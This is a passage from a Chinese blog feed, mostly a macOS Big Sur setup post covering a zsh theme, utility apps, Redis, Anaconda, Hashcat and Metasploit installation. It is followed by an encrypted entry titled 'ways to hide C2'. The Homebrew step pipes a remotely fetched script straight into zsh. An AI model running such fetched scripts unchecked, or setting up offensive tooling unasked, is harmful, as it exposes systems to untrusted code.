class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line">$ cat myys.zsh-theme</span><br><span class="line"><span class="comment"># Clean, simple, compatible and meaningful.</span></span><br><span class="line"><span class="comment"># Tested on Linux, Unix and Windows under ANSI colors.</span></span><br><span class="line"><span class="comment"># It is recommended to use with a dark background.</span></span><br><span class="line"><span class="comment"># Colors: black, red, green, yellow, *blue, magenta, cyan, and white.</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment"># Mar 2013 Yad Smood</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># VCS</span></span><br><span class="line">YS_VCS_PROMPT_PREFIX1=<span class="string">&quot; %&#123;<span class="variable">$fg</span>[white]%&#125;on%&#123;<span class="variable">$reset_color</span>%&#125; &quot;</span></span><br><span class="line">YS_VCS_PROMPT_PREFIX2=<span class="string">&quot;:%&#123;<span class="variable">$fg</span>[cyan]%&#125;&quot;</span></span><br><span class="line">YS_VCS_PROMPT_SUFFIX=<span class="string">&quot;%&#123;<span class="variable">$reset_color</span>%&#125;&quot;</span></span><br><span class="line">YS_VCS_PROMPT_DIRTY=<span class="string">&quot; %&#123;<span class="variable">$fg</span>[red]%&#125;x&quot;</span></span><br><span class="line">YS_VCS_PROMPT_CLEAN=<span class="string">&quot; %&#123;<span class="variable">$fg</span>[green]%&#125;o&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Git info</span></span><br><span class="line"><span class="built_in">local</span> git_info=<span class="string">&#x27;$(git_prompt_info)&#x27;</span></span><br><span class="line">ZSH_THEME_GIT_PROMPT_PREFIX=<span class="string">&quot;<span class="variable">$&#123;YS_VCS_PROMPT_PREFIX1&#125;</span>git<span class="variable">$&#123;YS_VCS_PROMPT_PREFIX2&#125;</span>&quot;</span></span><br><span class="line">ZSH_THEME_GIT_PROMPT_SUFFIX=<span class="string">&quot;<span class="variable">$YS_VCS_PROMPT_SUFFIX</span>&quot;</span></span><br><span class="line">ZSH_THEME_GIT_PROMPT_DIRTY=<span class="string">&quot;<span class="variable">$YS_VCS_PROMPT_DIRTY</span>&quot;</span></span><br><span class="line">ZSH_THEME_GIT_PROMPT_CLEAN=<span class="string">&quot;<span class="variable">$YS_VCS_PROMPT_CLEAN</span>&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># HG info</span></span><br><span class="line"><span class="built_in">local</span> hg_info=<span class="string">&#x27;$(ys_hg_prompt_info)&#x27;</span></span><br><span class="line"><span class="function"><span class="title">ys_hg_prompt_info</span></span>() &#123;</span><br><span class="line"><span class="comment"># make sure this is a hg dir</span></span><br><span class="line"><span class="keyword">if</span> [ -d <span class="string">&#x27;.hg&#x27;</span> ]; <span class="keyword">then</span></span><br><span class="line"><span class="built_in">echo</span> -n <span class="string">&quot;<span class="variable">$&#123;YS_VCS_PROMPT_PREFIX1&#125;</span>hg<span class="variable">$&#123;YS_VCS_PROMPT_PREFIX2&#125;</span>&quot;</span></span><br><span class="line"><span class="built_in">echo</span> -n $(hg branch 2&gt;/dev/null)</span><br><span class="line"><span class="keyword">if</span> [ -n <span class="string">&quot;<span class="subst">$(hg status 2&gt;/dev/null)</span>&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line"><span class="built_in">echo</span> -n <span class="string">&quot;<span class="variable">$YS_VCS_PROMPT_DIRTY</span>&quot;</span></span><br><span class="line"><span class="keyword">else</span></span><br><span class="line"><span class="built_in">echo</span> -n <span class="string">&quot;<span class="variable">$YS_VCS_PROMPT_CLEAN</span>&quot;</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"><span class="built_in">echo</span> -n <span class="string">&quot;<span class="variable">$YS_VCS_PROMPT_SUFFIX</span>&quot;</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">local</span> exit_code=<span class="string">&quot;%(?,,C:%&#123;<span class="variable">$fg</span>[red]%&#125;%?%&#123;<span class="variable">$reset_color</span>%&#125;)&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># Prompt format:</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment"># PRIVILEGES USER @ MACHINE in DIRECTORY on git:BRANCH STATE [TIME] C:LAST_EXIT_CODE</span></span><br><span class="line"><span class="comment"># $ COMMAND</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment"># For example:</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line"><span class="comment"># % ys @ ys-mbp in ~/.oh-my-zsh on git:master x [21:47:42] C:0</span></span><br><span class="line"><span class="comment"># $</span></span><br><span class="line">PROMPT=<span class="string">&quot;</span></span><br><span class="line"><span class="string">%&#123;<span class="variable">$terminfo</span>[bold]<span class="variable">$fg</span>[blue]%&#125;#%&#123;<span class="variable">$reset_color</span>%&#125; \</span></span><br><span class="line"><span class="string">%(#,%&#123;<span class="variable">$bg</span>[yellow]%&#125;%&#123;<span class="variable">$fg</span>[black]%&#125;%n%&#123;<span class="variable">$reset_color</span>%&#125;,%&#123;<span class="variable">$fg</span>[cyan]%&#125;%n) \</span></span><br><span class="line"><span class="string">%&#123;<span class="variable">$fg</span>[white]%&#125;from \</span></span><br><span class="line"><span class="string">%&#123;<span class="variable">$terminfo</span>[bold]<span class="variable">$fg</span>[yellow]%&#125;%~%&#123;<span class="variable">$reset_color</span>%&#125;\</span></span><br><span class="line"><span class="string"><span class="variable">$&#123;hg_info&#125;</span>\</span></span><br><span class="line"><span class="string"><span class="variable">$&#123;git_info&#125;</span>\</span></span><br><span class="line"><span class="string"> \</span></span><br><span class="line"><span class="string">%&#123;<span class="variable">$fg</span>[white]%&#125;[%*] <span class="variable">$exit_code</span></span></span><br><span class="line"><span class="string">%&#123;<span class="variable">$terminfo</span>[bold]<span class="variable">$fg</span>[red]%&#125;$ %&#123;<span class="variable">$reset_color</span>%&#125;&quot;</span></span><br></pre></td></tr></table></figure><h1 id="超级右键"><a href="#超级右键" class="headerlink" title="超级右键"></a>超级右键</h1><p>右键进入 iTerm2 的巴适懂得都懂</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210415012644.png" alt="image-20210415012644180"></p><h1 id="Bob"><a href="#Bob" class="headerlink" title="Bob"></a>Bob</h1><p>翻译功能 Command+d 就不说了</p><p>重点是截图翻译可以用来当作文字识别使用 </p><p>在一些不能复制粘贴的地方还是很方便的</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210511122258.png" alt="image-20210511122258953"></p><p>配置好 API 即可 （百度翻译体验很好而且免费~）</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210511121651.png" alt="image-20210511121651216"></p><h1 id="HiddenBar"><a href="#HiddenBar" class="headerlink" title="HiddenBar"></a>HiddenBar</h1><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210511122723.png" alt="image-20210511122723692"></p><blockquote><p>在 | 和 &gt; 中间可以用Command 拖入需要一直显示但是很占地方的菜单栏 例如 QQ 音乐</p></blockquote><p><strong>实际效果</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210511122657.png" alt="image-20210511122657500"></p><h1 id="Image2icon"><a href="#Image2icon" class="headerlink" title="Image2icon"></a>Image2icon</h1><p>自己封装 APP 时候制作图标神器</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210511123425.png" alt="image-20210511123425488"></p><p>配合<strong>自动操作</strong>体验极好：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210511123646.png" alt="image-20210511123646022"></p><h1 id="Chrome"><a href="#Chrome" class="headerlink" title="Chrome"></a>Chrome</h1><h2 id="Suspicious-Site-Reporter"><a href="#Suspicious-Site-Reporter" class="headerlink" title="Suspicious Site Reporter"></a>Suspicious Site Reporter</h2><p>Chrome 官方插件 可以显示 https 还是 http 方便粘贴 URL</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210511113810.png" alt="image-20210511113810266"></p><h2 id=""><a href="#" class="headerlink" title=""></a></h2><h1 id="Pycharm"><a href="#Pycharm" class="headerlink" title="Pycharm"></a>Pycharm</h1><h2 id="插件-1"><a href="#插件-1" class="headerlink" title="插件"></a>插件</h2><h3 id="Chinese-Simplified-Language-Pack-中文语言包"><a href="#Chinese-Simplified-Language-Pack-中文语言包" class="headerlink" title="Chinese (Simplified )Language Pack/ 中文语言包"></a>Chinese (Simplified )Language Pack/ 中文语言包</h3><p>添加中文作为 IDE 界面语言。</p><h3 id="Material-Theme-U"><a href="#Material-Theme-U" class="headerlink" title="Material Theme U"></a>Material Theme U</h3><p>主题插件看个人喜好 ~</p><h3 id="Ideavim"><a href="#Ideavim" class="headerlink" title="Ideavim"></a>Ideavim</h3><p>像 VIM 一样编辑代码。</p><h3 id="Nyan-Progress-Bar"><a href="#Nyan-Progress-Bar" class="headerlink" title="Nyan Progress Bar"></a>Nyan Progress Bar</h3><p>基于LJ的ide的nyan cat的retty进度条：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210511115657.png" alt="image-20210511115657423"></p><h2 id="Mac-Pycharm-空间或内存不够"><a href="#Mac-Pycharm-空间或内存不够" class="headerlink" title="Mac Pycharm 空间或内存不够"></a>Mac Pycharm 空间或内存不够</h2><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210415030649.png" alt="image-20210415030649132"></p><hr><h1 id="—环境—"><a href="#—环境—" class="headerlink" title="—环境—"></a>—环境—</h1><h1 id="HomeBrew"><a href="#HomeBrew" class="headerlink" title="HomeBrew"></a>HomeBrew</h1><p>Homebrew 是安装 Apple 不包含在 macOS 中的 UNIX 工具的最简单，最灵活的方法。它还可以将不需要 Linux 发行包打包的软件安装到主目录，而无需安装 <code>sudo</code>。</p><blockquote><p><strong>HomeBrew 已经支持 BigSur！划重点</strong></p></blockquote><h2 id="安装脚本"><a href="#安装脚本" class="headerlink" title="安装脚本"></a>安装脚本</h2><figure class="highlight zsh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/bin/zsh -c <span class="string">&quot;<span class="subst">$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)</span>&quot;</span></span><br></pre></td></tr></table></figure><h2 id="自检命令"><a href="#自检命令" class="headerlink" title="自检命令"></a>自检命令</h2><figure class="highlight zsh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/usr/<span class="built_in">local</span>/bin/brew doctor</span><br></pre></td></tr></table></figure><figure class="highlight zsh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">brew install smartmontools</span><br><span class="line"></span><br><span class="line">smartctl -a disk0</span><br></pre></td></tr></table></figure><blockquote><p><a href="https://zhuanlan.zhihu.com/p/111014448">https://zhuanlan.zhihu.com/p/111014448</a></p></blockquote><h2 id="卸载重新安装"><a href="#卸载重新安装" class="headerlink" title="卸载重新安装"></a>卸载重新安装</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">brew uninstall --force node &amp;&amp; brew install node</span><br></pre></td></tr></table></figure><h2 id="Download-failed-问题"><a href="#Download-failed-问题" class="headerlink" title="Download failed 问题"></a>Download failed 问题</h2><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210412043224.png"></p><p>这个报错怎么查都解决不了，查了一万种方法，甚至重装了 brew   </p><p>后面断掉公司网：</p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210412043447.png" alt="image-20210412043447403"></p><p>！！！！！！！！！！！！</p><h3 id="解决办法"><a href="#解决办法" class="headerlink" title="解决办法"></a>解决办法</h3><ol><li><strong>更换网络尝试</strong></li><li><strong>brew update 后再次尝试</strong></li></ol><h2 id="Redis"><a href="#Redis" class="headerlink" title="Redis"></a>Redis</h2><p><strong>1. 安装命令</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ brew install redis</span><br></pre></td></tr></table></figure><p><strong>2. 进入安装目录</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ <span class="built_in">cd</span> /usr/<span class="built_in">local</span>/Cellar/redis/4.0.6/bin</span><br></pre></td></tr></table></figure><p><strong>3. 启动、关闭redis</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ redis-server</span><br></pre></td></tr></table></figure><p> 以下命令即可关闭redis服务</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">redis 127.0.0.1:6379&gt; SHUTDOWN</span><br></pre></td></tr></table></figure><p><strong>4. 连接redis服务</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ redis-cli -h  127.0.0.1（ip） -p 1234（端口号）</span><br></pre></td></tr></table></figure><p><strong>5. 键入授权登录密码</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">127.0.0.1:6379&gt; AUTH 123456（密码）</span><br></pre></td></tr></table></figure><p><strong>6. 退出本次会话</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">127.0.0.1:6379&gt; quit</span><br></pre></td></tr></table></figure><h2 id="Hashcat"><a href="#Hashcat" class="headerlink" title="Hashcat"></a>Hashcat</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"># 安装hashcat</span><br><span class="line">brew install hashcat</span><br><span class="line"></span><br><span class="line"># 查看版本</span><br><span class="line">hashcat --version</span><br></pre></td></tr></table></figure><p>Hashcat 存放已经成功破解的密码文件位置为：<code>~/.hashcat/hashcat.potfile</code></p><h1 id="Anaconda"><a href="#Anaconda" class="headerlink" title="Anaconda"></a>Anaconda</h1><h2 id="常用命令"><a href="#常用命令" class="headerlink" title="常用命令"></a><strong>常用命令</strong></h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">$ conda env list</span><br><span class="line"><span class="comment"># conda environments:</span></span><br><span class="line"><span class="comment">#</span></span><br><span class="line">base                  *  /Users/lintstar/opt/anaconda3</span><br></pre></td></tr></table></figure><p>查看当前配置信息</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">conda info </span><br></pre></td></tr></table></figure><p><strong>mac 安装了conda后，前面会有一个(base)</strong></p><blockquote><p>安装conda后，每次启动终端，都会自动启动conda的base环境，conda的环境可以用 conda env list 查看</p></blockquote><p><strong>解决办法：</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">conda config --<span class="built_in">set</span> auto_activate_base <span class="literal">false</span></span><br></pre></td></tr></table></figure><h2 id="参考链接"><a href="#参考链接" class="headerlink" title="参考链接"></a>参考链接</h2><ul><li><a href="https://zhuanlan.zhihu.com/p/108506007">https://zhuanlan.zhihu.com/p/108506007</a></li></ul><h1 id="Metasploit"><a href="#Metasploit" class="headerlink" title="Metasploit"></a>Metasploit</h1><h2 id="下载安装"><a href="#下载安装" class="headerlink" title="下载安装"></a>下载安装</h2><p>最新版下载地址：<a href="https://osx.metasploit.com/metasploitframework-latest.pkg">https://osx.metasploit.com/metasploitframework-latest.pkg</a></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210526111056.png" alt="image-20210526111056496"></p><h2 id="Zsh-软链接"><a href="#Zsh-软链接" class="headerlink" title="Zsh 软链接"></a>Zsh 软链接</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vim ~/.zshrc</span><br></pre></td></tr></table></figure><p>添加一条软链接记录</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">export</span> PATH=<span class="string">&quot;<span class="variable">$PATH</span>:/opt/metasploit-framework/bin&quot;</span></span><br></pre></td></tr></table></figure><p>刷新 Zsh</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">zsh</span><br></pre></td></tr></table></figure><h2 id="使用"><a href="#使用" class="headerlink" title="使用"></a>使用</h2><p><strong>初始化数据库</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> /opt/metasploit-framework/bin</span><br><span class="line">./msfdb init</span><br></pre></td></tr></table></figure><p><strong>运行 MSF</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">msfconsole</span><br></pre></td></tr></table></figure><blockquote><p>启动账号密码设置 msf/msf</p></blockquote><p><strong>可能出现某个模块加载失败：</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210526113619.png" alt="image-20210526113619529"></p><p><strong>解决办法：</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">open /opt/metasploit-framework/embedded/framework/modules/auxiliary/gather</span><br></pre></td></tr></table></figure><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210526113700.png" alt="image-20210526113700779"></p><p><strong>修改后即可正常启动：</strong></p><p><img src= "/img/loading.gif" data-lazy-src="https://img.lintstar.top/hexo/20210526113759.png" alt="image-20210526113759574"></p><h2 id="卸载"><a href="#卸载" class="headerlink" title="卸载"></a>卸载</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> /opt/metasploit-framework/bin</span><br><span class="line">sudo ./msfremove</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;&lt;strong&gt;作为近几年以来变化最大的 macOS 更新，macOS Big Sur 对内置应用的图标、应用的设计语言、桌面的程序坞和菜单栏等方面都进行了重新设计，拟物化的风格深得人心。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;虽说 “BugSur” 的名号不是白</summary>
      
    
    
    
    <category term="Tools" scheme="https://www.lintstar.top/categories/Tools/"/>
    
    
    <category term="Mac" scheme="https://www.lintstar.top/tags/Mac/"/>
    
    <category term="BigSur" scheme="https://www.lintstar.top/tags/BigSur/"/>
    
    <category term="Environment" scheme="https://www.lintstar.top/tags/Environment/"/>
    
  </entry>
  
  <entry>
    <title>隐藏 C2的几种方式</title>
    <link href="https://www.lintstar.top/2021/03/7b4f6af8.html"/>
    <id>https://www.lintstar.top/2021/03/7b4f6af8.html</id>
    <published>2021-03-28T15:49:59.000Z</published>
    <updated>2023-11-09T07:40:38.119Z</updated>
    
    <content type="html"><![CDATA[<div id="hexo-blog-encrypt" data-wpm="Oh, this is an invalid password. Check and try again, please." data-whm="OOPS, these decrypted content may changed, but you can still have a look.">  <div class="hbe-input-container">  <input type="password" id="hbePass" placeholder="" />    <label for="hbePass">本文已加密 <br>隐藏加速你的 C2<br></label>    <div class="bottom-line"></div>  </div>  <script id="hbeData" type="hbeData" data-hmacdigest="c4985f78a5d8595ed11fdde8cdeaea00bc573a83d659c34e20a058e569778672">e119eb1da295c95738b0b95b5e5abff8d58a645e5116fafddafced491e4a2ac56ccb54ffa4f53d2dba55e821199cbf2287a8d2e8373891e601a016b5f1d3bc745d4380180cf12d806056e36b5c2c9918f4096e44a2fdff212195c2de14d5da714bbcf8a5ace5e0e004d00d1dfdb10f169e58e63f6ad309a82069af66bd4b99bbc9ec952cca43f2cf3b66937b9b4668090a556f3b66ddb0fa0f4712a888c1594e285ebab44b6a8f2ca2c2d9a10f374a531c93234d6c4128b4927fd13aed85c5785c4566421033a23864f825504bb014856494be24434cc18ef4e24b44343442df6d27a0b3521909a808ad3d8723c633c994830d135f516a10fc129aa19140543fd2aa19555cf7342500470aefaaf16b8aecd74b0370bf9b97a131fae0801949a5ab36bb314c99cb99fdf52830a3d3e8f7db52e76b019bf7ebbcb2d94861b88fa4a9d6617135511421c61918c1b2b55602c33c91d4e76f27dacf74cdbeadfcc29f89e64eab13625c7290916a54cb8686d5c7d909fda0a7feeceb72a0ea7c2d9854a49b991bcd8518df339ca938ed62760e0731b337e72f5b23e1bb1e28f5ee46ebc6f8aeb92d07400f2855c8207e79dc1af2379ccb780bd91f81a6772ade317a1276d5e158869f9cf863992a6c24a96e11b8b32347d20492178b53bfb754f580df31f1068dcc71f7f3abaac1d9c6d60b256df81368c0518bf9b6d7ff246d5a507fc7c9577919472a630f4a65bd728ceae6dc0a56916c9291595206917d7f815c0ed1797e6778da9f77c7591993b1b0ea203bb23bf06d529c85f4284553b2aabc506800cf5f7d28b7c7aaacac357f3c54fbd034c1a82fcd33e4627cec654ecd95f3b58b8209126813999e14d1fc043bd7a67a5dabd97bd28f7630631cebd8c11560163b88aea98f7ce1ccd46f5aa028892deb90329188da5821a2fb887e94d737900cbcd491b5f511787b186e45ba54cfcece9758ff211f1e9269fcddffc47b5c7e7cffbb3aa1bebb1730405fd9b84971750cd035d5aa1182b6a53f9e1eaec2471173e643a2f5d75968ac5daa44e485202ec1fee72ac196c3f0604eaeac36aa60e874169e9c4faf326dd67dc7587fdf0fa3b0d2d3672eecbad825aec98e98abe85dd38aec53fa38a09bd58f83473a5df410e5572675026e40d95207b32a561cb7cd71546be9f66d56130206bec4bb0d24ba89c88034fdb7f4a199810e6b813df7c1cb6be2e26853fa2c258b5125bbb40f9966c739e7f4080841928d79b8c9e61817fb13ddb6b183ce3b764dd02419dcddf04eac7725916466706ae70aefe18f8c0178e3845872a11c576f6a2342b21000a376dc0cf2befdfc4b077a583dc4dbeed518c014210694d04742c347334ca9c0fad739993a2bf8a72d9051115f0ec7050ee60cc277a2b8ef3ba3e70f75ca684908c4697a5d53e58520cd2cdaf2c32f4916c475dcc91414e88c4f19b8b72dfbe376ae50a87b03964a5fe1887a69f05856393be8610b09c70e05b90f260454dd881873666caa416edc4c9736c28b120cbee19c36ce45998f240bbb5422893ff2449678fad552682d9d3d43b785fdd0e7cd9cf44a60304a10a871bf6078ad581c0f85a06682e1aa4f1d4182b8bcb52484c6a33c62b5a1e5ee7be11336329a9281771417b87af3b964e906d3582fba6d4312707a2c551509a494d1aac9d76ae89e93eec18aac0aa9d74bdc97eea13ed1cd91a4b6a032e823c509dc6e9ec8a82515eb6d88269456f6c51c2bdfcf5d536ae6a0480e8cd0ba80016b6595e5a1655686b455219a24f8fd0d8ffdb5b4152165b655bc4f80a2ff7b08c91c4bc20833bee7b4e708db2ff10873252d71eae0ac53e911db5cdb8dad4938bed945e87a1787fe331a715e48f4526d90cb527756b2b9885c9ca8107750cb4ad9ee3959cf181b87b6ff0530fd06b4174f154728f1a3da3ee0e0decf7c1006bd7531b58630bd74fc75ecb3066dc82c00e705ee8979457ef0a4e1e56cfe4f481ce5e3edfd2e42c1a7b88050a77142be347f3e694dc653deebb5e1694b913ceb2d88b8ce3bcab717061d7ca14565c78daf4ffd067d642aba6a7fcad21d336380a13dc72fdb6ed7f60816be4ec8bf6e067eed753777866c13c0c13adac37dbbbea0560ae01c635b089a75cf03cf483548618673c35ebf23881dbf89a2d19bef34f8cd9c999538b018a7ce8906270c339602654ba6d018b0d9cd1edf3821823ef88b70a1e98a318a7923e2678cf7dc534244188a6d5f8528f2e1040797bfc2e2d54c7bbd3d61d4aded8adea35704db58cda1f3ff63eba5bd1a684c4d073c9cfc9409d882b90037110cf2d9deb31e39f03e3c3fe1dc5e5d310d7b37a36fe865b7e61b8d0e6bb7bc6a10a1e06e13ced1ee021e0827fca5bbf91509ac4df36ebe20ccbdebf47f2f40ae161bf9e92071e1cbbac83e87750c6943071dec729b733a4d8fe5c0f8134fb68ed0b5e3d63caac821b0d09a15da771fdc782668e413fa144fe9bfdfe71803acc1d0d46aebd6ca945c7f6214c1e2857fa2f2256a9fda8c5e053735ceab5fefa510c0b4742869bb0f30a1ce5b71b47512beef71b81d05332702d5ffec8ff2356751d8b227e762ac2e50d720cb2b1940b71f31c5938b150dc84ee23adcce0304ec55df57f7df92c07110292c321222b6fe464530c8d2451186452b45dc57fd3b91982b0c9da5fbb49b6b94adc977367fd7d38e066599fd7ed9dc49e6a3196c67b0e287caf5dd9679c861791f2765225b940294664557392e1a20142442e0765d287fc84498e1095df41092d1b090920ee8c55283327215022c253c97da905c7c943c03913a1a53d446fd6679085b7cf1ec99b984399401779793a8224939484444149723b9fd5fc008110e981356fd1cce2b6e74292e709913adbd4c313336e52bb33f3105ac775645c08ff32be3a5609071e99e553cbe86a2e4620e1e3a4cc735ffae348f132d757b13c6b4b86a524f9fbc9254dfe060eaa6453d9b73b0a16a4fe60a80ef5e5f7bd2903ce5da4ebe0ad9e9e38429ec09e8328fd7ec81b84fe6fb6906dc06c89f6fa8b5ffdcf68af2496c0ff9552154d565573be985212dee46b5b22395023f38790b7f09308c426b7280420ee2aa0be80cf4d516063635a6500eac8a3eb6d9a75f7f55a7212d5485a19275120c73fc1c4b65399c6f6a4e6072f6eb8acd151f5281d7146f88338845378d0170b248f20f0f05c4b1407072f277fba1a3eeac1d7446c50afdc9bbdee0b397e2abf123b3cba34bef02ce4bc9dc4dbb8034ceff77ae9243f2468f32eb76e701619ed0adcfb23c6606b207cfed79f41f2699292e16936335b8af960e79a9b539d60e9e2e4779e1180835f5e1e69ec43a996a394b7de72db5b9c1c87c3bb33871325c7e7b5f04b6608963b9233f9f3ea56a3313863ecc7ac32593cb7f5a70c6a77ca7c9162727caf5663c08b1f235d60063e3580af905e551ab1a403fe96bebeb6a7acb59507275f9abe829d83ad72ec2ccea82cc80644df1fd5dad761c403bde1c44fffad061ea34c901544cacbf7f2ad0de8de0f0caa8d1c9d507a32019d626b4171b6951e83ec5276746040842c56c8c6bf12a6c078fd8a74d10b771c570b6d031699c92db42f0b1d8211a3bc8859eb9127843d54a17d4624874a188fc879e12914f6fd94911b3d78fc0b3ab338febb53c79891d67e760964678fb52a52ca3f3db3c99e74f78a189168fdef2722fd37055d8802c0ed79d062e708584eb505724b2c3a51ebdda2ede98942c7e1f6b124500065c2004b96b46f9959adeda1eedd4dd4c61d1c4de99789bfceeff96b3820246079d94e94449e7337b0e862475f32306e345b0ee82be5521b519796bd1fce556c39f06ed96c722a5ba259f34c1fe22c49198bcd0c518bacd6180407a3675d913d198258d608a7007324f2c6b2b3ab8eb887f63bdceafa9963d7c9a47a36b067cf78c4dc831b699283d6af71dc5ea36ecc64ea7047264c24bd0db5f0e8d702c574b5ad7c57bcd2849c0a5bf79a1350fec4186ddceaf77882d24187b0462fc212f8294ca02a23aab6e54a824dcdfc2c5de685c560b700c21c045dcb881c7903146b3502e90a3d6ec35a66f7fe37341ca1151313c9e4a97b9e72c33cf5828ae6bb7626c7603a072c4828f64de84d24a1f5eec950d8cecb932f509226e954fe71012f4518d1cafc7ec18822ad29b053b5fa9344df344f73d22db90e76f6069091bf0e70dbd3cd58716ff9e1a0e26ac3049fb5f13a6f47c33a75829e72e33d97c4cdca6ec33a7c7ee73fc6528bf23b4cd793afdbe7c759c5fad00651fdd073679952bf94303a257ed0db626cee148abfa28f46d21787d6a08d6e4730c8c75b3d640f1d1c6fc66b2afaa689bf32cebf0193b2c81dc742ee3ec19e127e9d49522db99a14c1fd26a65b28dad8c944cbce59a8f12b25976514c010d22a6e9dc016fe73e2ab2caa40918a72cde92e709538ab3495debe06ed2daec843e148463ce9d543120173689a69a8d9383c51ae74990af81f85f71f78371c0ab4911951a1ad530f4ceae4023ff2dcfe97a6854e13f8fb9f29683030adbac08f5b5407957b7f6308d4a70fd9011bf5014f42310a8581e78aab5ed62437cb5a46d87d18f9ac5b16d442f245bc588d07d7be862d9ad93209ca8877d3d980d6baa1c0f607261ba4b2613578a91b390a60be622575b6ffd6e67a688e457dacc3369e89c4bcc848922b0a7697c42b905e14ba2bb2185a6729a5ecf473bea6f4873c479640c1e78b744713922e747203fea0068d4f806d90e6029bc7dc383a7c5aa1902fcb2f83075f3f1b0e2a3b7c1472aa55644ea25d08d535233d2069fbcb19f316bceec7da510776c7c8804ce84280e1e90ef2e2c8777806c56ef17eb8930561a0c4739824afd84cb1df7f4f6ff21f0df0c502ce2db0ebe43f7a69e4be120ad06d1a080c74382d1b85bd10db6d4d803a71eb959765864797253c6abdd2c4cf73717521072e764bd93e3ddfbad4de7ff0e77756cbe890632bf2a289741d238c0aa892025928a9a74c8a8b87bcebe78c597b94434334ffe97ee48b30cbcbf35c9bda4995979bac3d0703658d2bd3a2620055174118d795a79ae0d9b3d4c20ea9ec70d46b22b004a568213126253e9ee415448de75325d7cf881116b55d70612646df624bbbb7e66113abbc3d612566fbc962d5a7286137e64168ce7427c94c42fc35810ede3a3758f7dbe09553d20746034d2e4cfe1e2212e9ae4022b